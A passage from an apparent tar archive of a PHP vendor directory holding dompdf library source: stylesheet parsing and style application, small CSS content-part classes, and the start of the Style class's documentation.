                        // CSS 2.1 spec, as any value computes to `normal` on
                        // regular elements
                        // https://www.w3.org/TR/CSS21/generate.html#content
                        // https://www.w3.org/TR/CSS21/generate.html#undisplayed-counters
                        if ($content === "normal" || $content === "none") {
                            continue;
                        }

                        // https://www.w3.org/TR/css-content-3/#content-property
                        $single = count($content) === 1 ? $content[0] : null;

                        if ($single instanceof Url) {
                            $src = $this->resolve_url("url($single->url)");
                            $new_node = $node->ownerDocument->createElement("img_generated");
                            $new_node->setAttribute("src", $src);
                        } else {
                            $new_node = $node->ownerDocument->createElement("dompdf_generated");
                        }

                        $new_node->setAttribute($pos, $pos);
                        $new_frame_id = $tree->insert_node($node, $new_node, $pos);
                        $node->setAttribute("dompdf_{$pos}_frame_id", $new_frame_id);
                    }
                }
            }
        }

        // Apply all styles in stylesheet
        foreach ($this->_styles as $selector => $selector_styles) {
            $query = $this->selectorToXpath($selector);
            if ($query === null) {
                Helpers::record_warnings(E_USER_WARNING, "The CSS selector '$selector' is not valid", __FILE__, __LINE__);
                continue;
            }

            // Retrieve the nodes
            $nodes = @$xp->query($query["query"]);
            if ($nodes === false) {
                Helpers::record_warnings(E_USER_WARNING, "The CSS selector '$selector' is not valid", __FILE__, __LINE__);
                continue;
            }

            foreach ($selector_styles as $style) {
                $spec = $this->specificity($selector, $style->get_origin());

                foreach ($nodes as $node) {
                    // Only DOMElements get styles
                    if (!($node instanceof DOMElement)) {
                        continue;
                    }

                    $id = $node->getAttribute("frame_id");

                    // Assign the current style to the scratch array
                    $styles[$id][$spec][] = $style;
                }
            }
        }

        // Set the page width, height, and orientation based on the canvas paper size
        $canvas = $this->_dompdf->getCanvas();
        $paper_width = $canvas->get_width();
        $paper_height = $canvas->get_height();
        $paper_orientation = ($paper_width > $paper_height ? "landscape" : "portrait");

        if ($this->_page_styles["base"] && is_array($this->_page_styles["base"]->size)) {
            $paper_width = $this->_page_styles['base']->size[0];
            $paper_height = $this->_page_styles['base']->size[1];
            $paper_orientation = ($paper_width > $paper_height ? "landscape" : "portrait");
        }

        // Now create the styles and assign them to the appropriate frames. (We
        // iterate over the tree using an implicit FrameTree iterator.)
        $root_flg = false;
        foreach ($tree as $frame) {
            // Helpers::pre_r($frame->get_node()->nodeName . ":");
            if (!$root_flg && $this->_page_styles["base"]) {
                $style = $this->_page_styles["base"];
            } else {
                $style = $this->create_style();
            }

            // Find nearest DOMElement parent
            $p = $frame;
            while ($p = $p->get_parent()) {
                if ($p->get_node()->nodeType === XML_ELEMENT_NODE) {
                    break;
                }
            }

            // Styles can only be applied directly to DOMElements; anonymous
            // frames inherit from their parent
            if ($frame->get_node()->nodeType !== XML_ELEMENT_NODE) {
                $style->inherit($p ? $p->get_style() : null);
                $frame->set_style($style);
                continue;
            }

            $id = $frame->get_id();

            // Handle HTML 4.0 attributes
            AttributeTranslator::translate_attributes($frame);
            if (($str = $frame->get_node()->getAttribute(AttributeTranslator::$_style_attr)) !== "") {
                $styles[$id][self::SPEC_NON_CSS][] = $this->_parse_properties($str);
            }

            // Locate any additional style attributes
            if (($str = $frame->get_node()->getAttribute("style")) !== "") {
                // Destroy CSS comments
                $str = preg_replace("'/\*.*?\*/'si", "", $str);

                $spec = $this->specificity("!attr", self::ORIG_AUTHOR);
                $styles[$id][$spec][] = $this->_parse_properties($str);
            }

            // Grab the applicable styles
            if (isset($styles[$id])) {

                /** @var array[][] $applied_styles */
                $applied_styles = $styles[$id];

                // Sort by specificity
                ksort($applied_styles);

                if ($DEBUGCSS) {
                    $debug_nodename = $frame->get_node()->nodeName;
                    print "<pre>\n$debug_nodename [\n";
                    foreach ($applied_styles as $spec => $arr) {
                        printf("  specificity 0x%08x\n", $spec);
                        /** @var Style $s */
                        foreach ($arr as $s) {
                            print "  [\n";
                            $s->debug_print();
                            print "  ]\n";
                        }
                    }
                }

                // Merge the new styles with the inherited styles
                $acceptedmedia = self::$ACCEPTED_GENERIC_MEDIA_TYPES;
                $acceptedmedia[] = $this->_dompdf->getOptions()->getDefaultMediaType();

                foreach ($applied_styles as $arr) {
                    /** @var Style $s */
                    foreach ($arr as $s) {
                        $media_queries = $s->get_media_queries();
                        if (count($media_queries) > 0) {
                            $media_query_match = false;
                            foreach ($media_queries as $media_query_group) {
                                foreach ($media_query_group as $media_query) {
                                    list($media_query_feature, $media_query_value, $media_query_operator) = $media_query;
                                    switch ($media_query_feature) {
                                        case "height":
                                            $feature_match = $paper_height === (float)$style->length_in_pt($media_query_value);
                                            break;
                                        case "min-height":
                                            $feature_match = $paper_height >= (float)$style->length_in_pt($media_query_value);
                                            break;
                                        case "max-height":
                                            $feature_match = $paper_height <= (float)$style->length_in_pt($media_query_value);
                                            break;
                                        case "width":
                                            $feature_match = $paper_width === (float)$style->length_in_pt($media_query_value);
                                            break;
                                        case "min-width":
                                            $feature_match = $paper_width >= (float)$style->length_in_pt($media_query_value);
                                            break;
                                        case "max-width":
                                            $feature_match = $paper_width <= (float)$style->length_in_pt($media_query_value);
                                            break;
                                        case "orientation":
                                            $feature_match = $paper_orientation === $media_query_value;
                                            break;
                                        case "type":
                                            $feature_match = in_array($media_query_value, $acceptedmedia, true);
                                            break;
                                        default:
                                            Helpers::record_warnings(E_USER_WARNING, "Unknown media query: $media_query_feature", __FILE__, __LINE__);
                                            continue (2); // unknown query, move to the next grouping
                                    }
                                    $negate = $media_query_operator === "not";
                                    if ($negate xor !$feature_match) {
                                        continue (2); // failed query match, move to the next grouping
                                    }
                                }
                                $media_query_match = true;
                            }
                            if (!$media_query_match) {
                                continue;
                            }
                        }
                        $style->merge($s);
                    }
                }
            }

            // Handle inheritance
            if ($p && $DEBUGCSS) {
                print "  inherit [\n";
                $p->get_style()->debug_print();
                print "  ]\n";
            }

            $style->inherit($p ? $p->get_style() : null);

            if ($DEBUGCSS) {
                print "  DomElementStyle [\n";
                $style->debug_print();
                print "  ]\n";
                print "]\n</pre>";
            }

            $style->clear_important();
            $frame->set_style($style);

            if (!$root_flg && $this->_page_styles["base"]) {
                $root_flg = true;

                // set the page width, height, and orientation based on the parsed page style
                if ($style->size !== "auto") {
                    list($paper_width, $paper_height) = $style->size;
                }
                $paper_width = $paper_width - (float)$style->length_in_pt($style->margin_left) - (float)$style->length_in_pt($style->margin_right);
                $paper_height = $paper_height - (float)$style->length_in_pt($style->margin_top) - (float)$style->length_in_pt($style->margin_bottom);
                $paper_orientation = ($paper_width > $paper_height ? "landscape" : "portrait");
            }
        }

        // We're done!  Clean out the registry of all styles since we
        // won't be needing this later.
        foreach (array_keys($this->_styles) as $key) {
            $this->_styles[$key] = null;
            unset($this->_styles[$key]);
        }
    }

    /**
     * parse a CSS string using a regex parser
     * Called by {@link Stylesheet::parse_css()}
     *
     * @param string $str
     *
     * @throws Exception
     */
    private function _parse_css($str)
    {
        $str = trim($str);

        // Destroy comments and remove HTML comments
        $css = preg_replace([
            "'/\*.*?\*/'si",
            "/^<!--/",
            "/-->$/"
        ], "", $str);

        // shim constants for string interpolation
        $pattern_atimport_string = str_replace("CSS_STRING", "CSS_ATIMPORT_STRING", self::PATTERN_CSS_STRING);
        $pattern_atimport_url = str_replace("CSS_URL_FN", "CSS_ATIMPORT_URL_FN", self::PATTERN_CSS_URL_FN);
        $pattern_media_query = self::PATTERN_MEDIA_QUERY;

        // Something more legible:
        // ... does not handle '{' within strings, e.g. [attr="string {}"]
        $re = <<<EOL
            /
                # Skip leading whitespace
                \s*
                
                # Match at-rules
                (?<CSS_ATRULE>@(?<CSS_ATRULE_IDENTIFIER>
                    (?<CSS_ATFONT>font-face)
                    |(?<CSS_ATIMPORT>import)
                    |(?<CSS_ATMEDIA>media)
                    |(?<CSS_ATPAGE>page)
                    |(?<CSS_AT>[\w-]*)
                ))?
                
                # Branch to process segment following at-rule match
                (?(CSS_ATRULE)(?:
                    (?(CSS_ATFONT)\s*{(?<CSS_ATFONT_BODY>.*?)})
                    (?(CSS_ATIMPORT)\s*(?<CSS_ATIMPORT_RULE>
                        (?<CSS_ATIMPORT_URL>
                            {$pattern_atimport_string}
                            |{$pattern_atimport_url}
                        )
                        (?<CSS_ATIMPORT_MEDIA_QUERY>.*?)
                    );)
                    (?(CSS_ATMEDIA)\s*(?<CSS_ATMEDIA_RULE>[^{]*){(?<CSS_ATMEDIA_BODY> (?:(?>[^{}]+) (?<CSS_ATMEDIA_BODY_BRACKET>{)?
                        (?(CSS_ATMEDIA_BODY_BRACKET) (?>[^}]*) }) \s*)+?
                    )})
                    (?(CSS_ATPAGE)\s*(?<CSS_ATPAGE_RULE>[^{]*){(?<CSS_ATPAGE_BODY>.*?)})
                    (?(CSS_AT)\s*([^{;]*)(;|{(?<CSS_AT_BODY> (?:(?>[^{}]+) (?<CSS_AT_BODY_BRACKET>{)?
                        (?(CSS_AT_BODY_BRACKET) (?>[^}]*) }) \s*)+?
                    )}))
                )
                
                # Branch to match regular rules (not preceded by '@')
                |(?<CSS_RULESET>[^{]*{[^}]*}))
            /isx
EOL;

        if (preg_match_all($re, $css, $matches, PREG_SET_ORDER) === false) {
            throw new Exception("Error parsing css file: preg_match_all() failed.");
        }

        $media_query_regex = "/{$pattern_media_query}/isx";
        $accepted_media = self::$ACCEPTED_GENERIC_MEDIA_TYPES;
        $accepted_media[] = $this->_dompdf->getOptions()->getDefaultMediaType();
        foreach ($matches as $match) {
            if ($match["CSS_ATRULE_IDENTIFIER"] !== "") {
                $atrule_identifier = strtolower($match["CSS_ATRULE_IDENTIFIER"]);
                // Handle @rules
                switch ($atrule_identifier) {

                    case "import":
                        $this->_parse_import($match["CSS_ATIMPORT_URL"], $match["CSS_ATIMPORT_MEDIA_QUERY"]);
                        break;

                    case "media":
                        $mq = [];
                        $media_queries = preg_split("/\s*(,|\Wor\W)\s*/", mb_strtolower(trim($match["CSS_ATMEDIA_RULE"])));
                        foreach ($media_queries as $media_query) {
                            $media_query_matches = [];
                            if (preg_match_all($media_query_regex, $media_query, $media_query_matches, PREG_SET_ORDER) === false) {
                                continue;
                            }

                            $mq_grouping = [];
                            foreach ($media_query_matches as $media_query_match) {
                                if (empty($media_query_match["CSS_MEDIA_QUERY_TYPE"]) === false) {
                                    $media_query_feature = "type";
                                    $media_query_value = strtolower($media_query_match["CSS_MEDIA_QUERY_TYPE"]);
                                    $media_query_operator = strtolower($media_query_match["CSS_MEDIA_QUERY_OP"]);
                                } elseif (empty($media_query_match["CSS_MEDIA_QUERY_FEATURE"]) === false) {
                                    $media_query_feature = strtolower($media_query_match["CSS_MEDIA_QUERY_FEATURE"]);
                                    $media_query_value = (array_key_exists("CSS_MEDIA_QUERY_CONDITION", $media_query_match) ? strtolower($media_query_match["CSS_MEDIA_QUERY_CONDITION"]) : null);
                                    $media_query_operator = strtolower($media_query_match["CSS_MEDIA_QUERY_OP"]);
                                } else {
                                    // partial error handling implementation per https://www.w3.org/TR/css3-mediaqueries/#error-handling
                                    $media_query_feature = "type";
                                    $media_query_value = "all";
                                    $media_query_operator = "not";
                                }
                                $mq_grouping[] = [$media_query_feature, $media_query_value, $media_query_operator];
                            }
                            if (count($mq_grouping) > 0) {
                                $mq[] = $mq_grouping;
                            }
                        }
                        $this->_parse_sections($match["CSS_ATMEDIA_BODY"], $mq);
                        break;

                    case "page":
                        //This handles @page to be applied to page oriented media
                        //Note: This has a reduced syntax:
                        //@page { margin:1cm; color:blue; }
                        //Not a sequence of styles like a full.css, but only the properties
                        //of a single style, which is applied to the very first "root" frame before
                        //processing other styles of the frame.
                        //Working properties:
                        // margin (for margin around edge of paper)
                        // font-family (default font of pages)
                        // color (default text color of pages)
                        //Non working properties:
                        // border
                        // padding
                        // background-color
                        //Todo:Reason is unknown
                        //Other properties (like further font or border attributes) not tested.
                        //If a border or background color around each paper sheet is desired,
                        //assign it to the <body> tag, possibly only for the css of the correct media type.

                        // If the page has a name, skip the style.
                        $page_selector = trim($match["CSS_ATPAGE_RULE"]);

                        $key = null;
                        switch ($page_selector) {
                            case "":
                                $key = "base";
                                break;

                            case ":left":
                            case ":right":
                            case ":odd":
                            case ":even":
                            /** @noinspection PhpMissingBreakStatementInspection */
                            case ":first":
                                $key = $page_selector;
                                break;

                            default:
                                break 2;
                        }

                        // Store the style for later...
                        if (empty($this->_page_styles[$key])) {
                            $this->_page_styles[$key] = $this->_parse_properties($match["CSS_ATPAGE_BODY"]);
                        } else {
                            $this->_page_styles[$key]->merge($this->_parse_properties($match["CSS_ATPAGE_BODY"]));
                        }
                        break;

                    case "font-face":
                        $this->_parse_font_face($match["CSS_ATFONT_BODY"]);
                        break;

                    default:
                        // ignore everything else
                        break;
                }

                continue;
            }

            if ($match["CSS_RULESET"] !== "") {
                $this->_parse_sections($match["CSS_RULESET"]);
            }
        }
    }

    /**
     * Resolve the given `url()` declaration to an absolute URL.
     *
     * @param string|null $val The declaration to resolve in the context of the stylesheet.
     * @return string The resolved URL, or `none`, if the value is `none`,
     *         invalid, or points to a non-existent local file.
     */
    public function resolve_url($val): string
    {
        $DEBUGCSS = $this->_dompdf->getOptions()->getDebugCss();

        static $pattern = "/" . self::PATTERN_CSS_URL_FN . "/isx";
        if ($val === null || $val === "" || strcasecmp($val, "none") === 0) {
            $path = "none";
        } elseif (preg_match($pattern, $val, $matches)) {
            // Resolve the url now in the context of the current stylesheet
            $url = $matches["CSS_URL_FN_VALUE"];
            switch ($matches["CSS_URL_FN_QUOTE"]) {
                case "\"":
                    $url = str_replace("\\\"", "\"", $url);
                    break;
                case "'":
                    $url = str_replace("\\'", "'", $url);
                    break;
                default:
                    $url = str_replace(["\\(", "\\)"], ["(", ")"], $url);
                    break;
            }
            $path = Helpers::build_url(
                $this->_protocol,
                $this->_base_host,
                $this->_base_path,
                $url
            );
            if ($path === null) {
                $path = "none";
            }
        } else {
            $path = "none";
        }
        if ($DEBUGCSS) {
            $parsed_url = Helpers::explode_url($path);
            print "<pre>[_image\n";
            print_r($parsed_url);
            print $this->_protocol . "\n" . $this->_base_path . "\n" . $path . "\n";
            print "_image]</pre>";
        }
        return $path;
    }

    /**
     * parse @import at-rule
     *
     * @param string $url the url of the imported CSS file
     */
    private function _parse_import($url, $import_media_query)
    {
        // if URL is a CSS string, wrap it in the url function for parsing by the resolve_url method
        if (mb_strpos($url, "url(") === false) {
            $url = "url($url)";
        }
        if (($url = $this->resolve_url($url)) === "none") {
            return;
        }

        // Store our current base url properties in case the new url is elsewhere
        $protocol = $this->_protocol;
        $host = $this->_base_host;
        $path = $this->_base_path;

        $media_query_regex = "/" . self::PATTERN_MEDIA_QUERY . "/isx";
        $media_queries = preg_split("/\s*(,|\Wor\W)\s*/", mb_strtolower(trim($import_media_query ?? "")));
        if (count($media_queries) === 0) {
            $this->load_css_file($url, $this->_current_origin);
        } else {
            // Set the page width, height, and orientation based on the canvas paper size
            $canvas = $this->_dompdf->getCanvas();
            $paper_width = $canvas->get_width();
            $paper_height = $canvas->get_height();
            $paper_orientation = ($paper_width > $paper_height ? "landscape" : "portrait");

            $style = $this->_page_styles["base"] ?? new Style($this);
            if (is_array($style->size)) {
                $paper_width = $style->size[0];
                $paper_height = $style->size[1];
                $paper_orientation = ($paper_width > $paper_height ? "landscape" : "portrait");
            }

            $acceptedmedia = self::$ACCEPTED_GENERIC_MEDIA_TYPES;
            $acceptedmedia[] = $this->_dompdf->getOptions()->getDefaultMediaType();

            foreach ($media_queries as $media_query) {
                $media_query_matches = [];
                if (preg_match_all($media_query_regex, $media_query, $media_query_matches, PREG_SET_ORDER) === false) {
                    continue;
                }

                foreach ($media_query_matches as $media_query_match) {
                    if (empty($media_query_match["CSS_MEDIA_QUERY_TYPE"]) === false) {
                        $media_query_feature = "type";
                        $media_query_value = strtolower($media_query_match["CSS_MEDIA_QUERY_TYPE"]);
                        $media_query_operator = strtolower($media_query_match["CSS_MEDIA_QUERY_OP"]);
                    } elseif (empty($media_query_match["CSS_MEDIA_QUERY_FEATURE"]) === false) {
                        $media_query_feature = strtolower($media_query_match["CSS_MEDIA_QUERY_FEATURE"]);
                        $media_query_value = (array_key_exists("CSS_MEDIA_QUERY_CONDITION", $media_query_match) ? strtolower($media_query_match["CSS_MEDIA_QUERY_CONDITION"]) : null);
                        $media_query_operator = strtolower($media_query_match["CSS_MEDIA_QUERY_OP"]);
                    } else {
                        // partial error handling implementation per https://www.w3.org/TR/css3-mediaqueries/#error-handling
                        $media_query_feature = "type";
                        $media_query_value = "all";
                        $media_query_operator = "not";
                    }

                    switch ($media_query_feature) {
                        case "height":
                            $feature_match = $paper_height === (float)$style->length_in_pt($media_query_value);
                            break;
                        case "min-height":
                            $feature_match = $paper_height >= (float)$style->length_in_pt($media_query_value);
                            break;
                        case "max-height":
                            $feature_match = $paper_height <= (float)$style->length_in_pt($media_query_value);
                            break;
                        case "width":
                            $feature_match = $paper_width === (float)$style->length_in_pt($media_query_value);
                            break;
                        case "min-width":
                            $feature_match = $paper_width >= (float)$style->length_in_pt($media_query_value);
                            break;
                        case "max-width":
                            $feature_match = $paper_width <= (float)$style->length_in_pt($media_query_value);
                            break;
                        case "orientation":
                            $feature_match = $paper_orientation === $media_query_value;
                            break;
                        case "type":
                            $feature_match = in_array($media_query_value, $acceptedmedia, true);
                            break;
                        default:
                            Helpers::record_warnings(E_USER_WARNING, "Unknown media query: $media_query_feature", __FILE__, __LINE__);
                            continue (2);
                    }
                    $negate = $media_query_operator === "not";
                    if ($negate xor !$feature_match) {
                        continue (2);
                    }
                }

                //TODO: pass media queries as an argument to load_css_file and apply to all contained styles
                //      to better accommodate styling content in, for example, documents with varying page orientations
                $this->load_css_file($url, $this->_current_origin);
                break; // stop here so we don't load the same CSS more than once (at least until we implement that TODO)
            }
        }

        // Restore the current base url
        $this->_protocol = $protocol;
        $this->_base_host = $host;
        $this->_base_path = $path;
    }

    /**
     * parse @font-face{} sections
     * http://www.w3.org/TR/css3-fonts/#the-font-face-rule
     *
     * @param string $str CSS @font-face rules
     */
    private function _parse_font_face($str)
    {
        $descriptors = $this->_parse_properties($str);

        preg_match_all("/" . self::PATTERN_CSS_LOCAL_FN . "|" . self::PATTERN_CSS_URL_FN . "\s*(?<FORMAT>format\s*\((?<FORMAT_VALUE>collection|embedded-opentype|opentype|svg|truetype|woff|woff2|" . self::PATTERN_CSS_STRING . ")\))?/i", $descriptors->src, $sources, PREG_SET_ORDER);

        $valid_sources = [];
        foreach ($sources as $source) {
            $url_value = $source["CSS_URL_FN_VALUE"] ?? "";
            $format = strtolower($source["CSS_STRING_VALUE"] ?? $source["FORMAT_VALUE"] ?? "truetype");

            if ($url_value !== "" && $format === "truetype") {
                $url = Helpers::build_url($this->_protocol, $this->_base_host, $this->_base_path, $url_value);
                if ($url === null) {
                    continue;
                }
                $source_info = [
                    "uri" => $url_value,
                    "format" => $format,
                    "path" => $url,
                ];
                $valid_sources[] = $source_info;
            }
        }

        if (empty($valid_sources)) {
            return;
        }

        $style = [
            "family" => $descriptors->get_font_family_raw(),
            "weight" => $descriptors->font_weight,
            "style" => $descriptors->font_style,
        ];

        foreach ($valid_sources as $valid_source) {
            if ($this->fontMetrics->registerFont($style, $valid_source["path"], $this->_dompdf->getHttpContext())) {
                break;
            }
        }
    }

    /**
     * parse regular CSS blocks
     *
     * _parse_properties() creates a new Style object based on the provided
     * CSS rules.
     *
     * @param string $str CSS rules
     * @return Style
     */
    private function _parse_properties($str)
    {
        $DEBUGCSS = $this->_dompdf->getOptions()->getDebugCss();

        if ($DEBUGCSS) {
            print '[_parse_properties';
        }

        // Split on non-escaped semicolons which are not part of an unquoted
        // `url()` declaration. Semicolons in strings are not detected here, and
        // as a consequence, should be escaped if used in a string
        $urlEnd = "(?> (\\\\[\"'()] | [^\"'()])* ) (?<!\\\\)\)";
        $properties = preg_split("/(?<!\\\\); (?! $urlEnd )/x", $str);
        $style = new Style($this, Stylesheet::ORIG_AUTHOR);

        foreach ($properties as $prop) {
            // Instead of short code with `preg_match`, prefer the typical case
            // with fast code
            $prop = trim($prop);
            if ($prop === "") {
                continue;
            }

            $important = false;
            if (substr($prop, -9) === 'important') {
                $prop_tmp = rtrim(substr($prop, 0, -9));

                if (substr($prop_tmp, -1) === '!') {
                    $prop = rtrim(substr($prop_tmp, 0, -1));
                    $important = true;
                }
            }

            $i = strpos($prop, ":");
            if ($i === false) {
                if ($DEBUGCSS) {
                    print "(novalue $prop)";
                }
                continue;
            }

            $prop_name = rtrim(substr($prop, 0, $i));
            $value = ltrim(substr($prop, $i + 1));

            // Regular (non-custom) properties are case-insensitive
            if (strncmp($prop_name, "--", 2) !== 0) {
                $prop_name = strtolower($prop_name);
            }

            if ($DEBUGCSS) {
                print "($prop_name:=$value" . ($important ? " !IMPORTANT" : "") . ")";
            }

            $style->set_prop($prop_name, $value, $important, false);
        }

        if ($DEBUGCSS) {
            print '_parse_properties]';
        }

        return $style;
    }

    /**
     * parse selector + rulesets
     *
     * @param string $str CSS selectors and rulesets
     * @param array $media_queries
     */
    private function _parse_sections($str, $media_queries = [])
    {
        // Pre-process selectors: collapse all whitespace and strip whitespace
        // around '>', '.', ':', '+', '~', '#'
        $patterns = ["/\s+/", "/\s+([>.:+~#])\s+/"];
        $replacements = [" ", "\\1"];
        $DEBUGCSS = $this->_dompdf->getOptions()->getDebugCss();

        $sections = explode("}", $str);
        if ($DEBUGCSS) print '[_parse_sections';
        foreach ($sections as $sect) {
            $i = mb_strpos($sect, "{");
            if ($i === false) { continue; }

            if ($DEBUGCSS) print '[section';

            $selector_str = preg_replace($patterns, $replacements, mb_substr($sect, 0, $i));
            $selectors = preg_split("/,(?![^\(]*\))/", $selector_str, 0, PREG_SPLIT_NO_EMPTY);
            $style = $this->_parse_properties(trim(mb_substr($sect, $i + 1)));

            // Assign it to the selected elements
            foreach ($selectors as $selector) {
                $selector = trim($selector);

                if ($selector === "") {
                    if ($DEBUGCSS) print '#empty#';
                    continue;
                }
                if ($DEBUGCSS) print '#' . $selector . '#';
                //if ($DEBUGCSS) { if (strpos($selector,'p') !== false) print '!!!p!!!#'; }

                //FIXME: tag the selector with a hash of the media query to separate it from non-conditional styles (?), xpath comments are probably not what we want to do here
                if (count($media_queries) > 0) {
                    $style->set_media_queries($media_queries);
                }
                $this->add_style($selector, $style);
            }

            if ($DEBUGCSS) {
                print 'section]';
            }
        }

        if ($DEBUGCSS) {
            print "_parse_sections]\n";
        }
    }

    /**
     * @return string
     */
    public function getDefaultStylesheet()
    {
        $options = $this->_dompdf->getOptions();
        $rootDir = realpath($options->getRootDir());
        return Helpers::build_url("file://", "", $rootDir, $rootDir . self::DEFAULT_STYLESHEET);
    }

    /**
     * @param FontMetrics $fontMetrics
     * @return $this
     */
    public function setFontMetrics(FontMetrics $fontMetrics)
    {
        $this->fontMetrics = $fontMetrics;
        return $this;
    }

    /**
     * @return FontMetrics
     */
    public function getFontMetrics()
    {
        return $this->fontMetrics;
    }

    /**
     * dumps the entire stylesheet as a string
     *
     * Generates a string of each selector and associated style in the
     * Stylesheet.  Useful for debugging.
     *
     * @return string
     */
    function __toString()
    {
        $str = "";
        foreach ($this->_styles as $selector => $selector_styles) {
            foreach ($selector_styles as $style) {
                $str .= "$selector => " . $style->__toString() . "\n";
            }
        }

        return $str;
    }
}
vendor/dompdf/dompdf/src/Css/Content/NoOpenQuote.php000066600000000252151150443010016436 0ustar00<?php
namespace Dompdf\Css\Content;

final class NoOpenQuote extends ContentPart
{
    public function __toString(): string
    {
        return "no-open-quote";
    }
}
vendor/dompdf/dompdf/src/Css/Content/NoCloseQuote.php000066600000000254151150443010016604 0ustar00<?php
namespace Dompdf\Css\Content;

final class NoCloseQuote extends ContentPart
{
    public function __toString(): string
    {
        return "no-close-quote";
    }
}
vendor/dompdf/dompdf/src/Css/Content/ContentPart.php000066600000000247151150443010016467 0ustar00<?php
namespace Dompdf\Css\Content;

abstract class ContentPart
{
    public function equals(self $other): bool
    {
        return $other instanceof static;
    }
}
vendor/dompdf/dompdf/src/Css/Content/Attr.php000066600000000755151150443010015144 0ustar00<?php
namespace Dompdf\Css\Content;

final class Attr extends ContentPart
{
    /**
     * @var string
     */
    public $attribute;

    public function __construct(string $attribute)
    {
        $this->attribute = $attribute;
    }

    public function equals(ContentPart $other): bool
    {
        return $other instanceof self
            && $other->attribute === $this->attribute;
    }

    public function __toString(): string
    {
        return "attr($this->attribute)";
    }
}
vendor/dompdf/dompdf/src/Css/Content/OpenQuote.php000066600000000245151150443010016143 0ustar00<?php
namespace Dompdf\Css\Content;

final class OpenQuote extends ContentPart
{
    public function __toString(): string
    {
        return "open-quote";
    }
}
vendor/dompdf/dompdf/src/Css/Content/Counter.php000066600000001161151150443010015641 0ustar00<?php
namespace Dompdf\Css\Content;

final class Counter extends ContentPart
{
    /**
     * @var string
     */
    public $name;

    /**
     * @var string
     */
    public $style;

    public function __construct(string $name, string $style)
    {
        $this->name = $name;
        $this->style = $style;
    }

    public function equals(ContentPart $other): bool
    {
        return $other instanceof self
            && $other->name === $this->name
            && $other->style === $this->style;
    }

    public function __toString(): string
    {
        return "counter($this->name, $this->style)";
    }
}
vendor/dompdf/dompdf/src/Css/Content/Url.php000066600000000750151150443010014767 0ustar00<?php
namespace Dompdf\Css\Content;

final class Url extends ContentPart
{
    /**
     * @var string
     */
    public $url;

    public function __construct(string $url)
    {
        $this->url = $url;
    }

    public function equals(ContentPart $other): bool
    {
        return $other instanceof self
            && $other->url === $this->url;
    }

    public function __toString(): string
    {
        return "url(\"" . str_replace("\"", "\\\"", $this->url) . "\")";
    }
}
vendor/dompdf/dompdf/src/Css/Content/CloseQuote.php000066600000000247151150443010016311 0ustar00<?php
namespace Dompdf\Css\Content;

final class CloseQuote extends ContentPart
{
    public function __toString(): string
    {
        return "close-quote";
    }
}
vendor/dompdf/dompdf/src/Css/Content/Counters.php000066600000001437151150443010016032 0ustar00<?php
namespace Dompdf\Css\Content;

final class Counters extends ContentPart
{
    /**
     * @var string
     */
    public $name;

    /**
     * @var string
     */
    public $string;

    /**
     * @var string
     */
    public $style;

    public function __construct(string $name, string $string, string $style)
    {
        $this->name = $name;
        $this->string = $string;
        $this->style = $style;
    }

    public function equals(ContentPart $other): bool
    {
        return $other instanceof self
            && $other->name === $this->name
            && $other->string === $this->string
            && $other->style === $this->style;
    }

    public function __toString(): string
    {
        return "counters($this->name, \"$this->string\", $this->style)";
    }
}
vendor/dompdf/dompdf/src/Css/Content/StringPart.php000066600000000742151150443010016323 0ustar00<?php
namespace Dompdf\Css\Content;

final class StringPart extends ContentPart
{
    /**
     * @var string
     */
    public $string;

    public function __construct(string $string)
    {
        $this->string = $string;
    }

    public function equals(ContentPart $other): bool
    {
        return $other instanceof self
            && $other->string === $this->string;
    }

    public function __toString(): string
    {
        return '"' . $this->string . '"';
    }
}
vendor/dompdf/dompdf/src/Css/Style.php000066600000433072151150443010013722 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\Css;

use Dompdf\Adapter\CPDF;
use Dompdf\Css\Content\Attr;
use Dompdf\Css\Content\CloseQuote;
use Dompdf\Css\Content\ContentPart;
use Dompdf\Css\Content\Counter;
use Dompdf\Css\Content\Counters;
use Dompdf\Css\Content\NoCloseQuote;
use Dompdf\Css\Content\NoOpenQuote;
use Dompdf\Css\Content\OpenQuote;
use Dompdf\Css\Content\StringPart;
use Dompdf\Css\Content\Url;
use Dompdf\Exception;
use Dompdf\FontMetrics;
use Dompdf\Frame;
use Dompdf\Helpers;

/**
 * Represents CSS properties.
 *
 * The Style class is responsible for handling and storing CSS properties.
 * It includes methods to resolve colors and lengths, as well as getters &
 * setters for many CSS properties.
 *
 * Access to the different CSS properties is provided by the methods
 * {@link Style::set_prop()} and {@link Style::get_specified()}, and the
 * property overload methods {@link Style::__set()} and {@link Style::__get()},
 * as well as {@link Style::set_used()}. The latter methods operate on used
 * values and permit access to any (CSS) property using the following syntax:
 *
 * ```
 * $style->margin_top = 10.0;
 * echo $style->margin_top; // Returns `10.0`
 * ```
 *
 * To declare a property from a string, use {@link Style::set_prop()}:
 *
 * ```
 * $style->set_prop("margin_top", "1em");
 * echo $style->get_specified("margin_top"); // Returns `1em`
 * echo $style->margin_top; // Returns `12.0`, assuming the default font size
 * ```
 *
 * Actual CSS parsing is performed in the {@link Stylesheet} class.
 *
 * @property string               $azimuth
 * @property string               $background_attachment
 * @property array|string         $background_color
 * @property string               $background_image            Image URL or `none`
 * @property string               $background_image_resolution
 * @property array                $background_position         Pair of `[x, y]`, each value being a length in pt or a percentage value
 * @property string               $background_repeat
 * @property array|string         $background_size             `cover`, `contain`, or `[width, height]`, each being a length, percentage, or `auto`
 * @property string               $border_collapse
 * @property string               $border_color                Only use for setting all sides to the same color
 * @property float[]              $border_spacing              Pair of `[horizontal, vertical]` spacing
 * @property string               $border_style                Only use for setting all sides to the same style
 * @property array|string         $border_top_color
 * @property array|string         $border_right_color
 * @property array|string         $border_bottom_color
 * @property array|string         $border_left_color
 * @property string               $border_top_style            Valid border style
 * @property string               $border_right_style          Valid border style
 * @property string               $border_bottom_style         Valid border style
 * @property string               $border_left_style           Valid border style
 * @property float                $border_top_width            Length in pt
 * @property float                $border_right_width          Length in pt
 * @property float                $border_bottom_width         Length in pt
 * @property float                $border_left_width           Length in pt
 * @property string               $border_width                Only use for setting all sides to the same width
 * @property float|string         $border_bottom_left_radius   Radius in pt or a percentage value
 * @property float|string         $border_bottom_right_radius  Radius in pt or a percentage value
 * @property float|string         $border_top_left_radius      Radius in pt or a percentage value
 * @property float|string         $border_top_right_radius     Radius in pt or a percentage value
 * @property string               $border_radius               Only use for setting all corners to the same radius
 * @property float|string         $bottom                      Length in pt, a percentage value, or `auto`
 * @property string               $caption_side
 * @property string               $clear
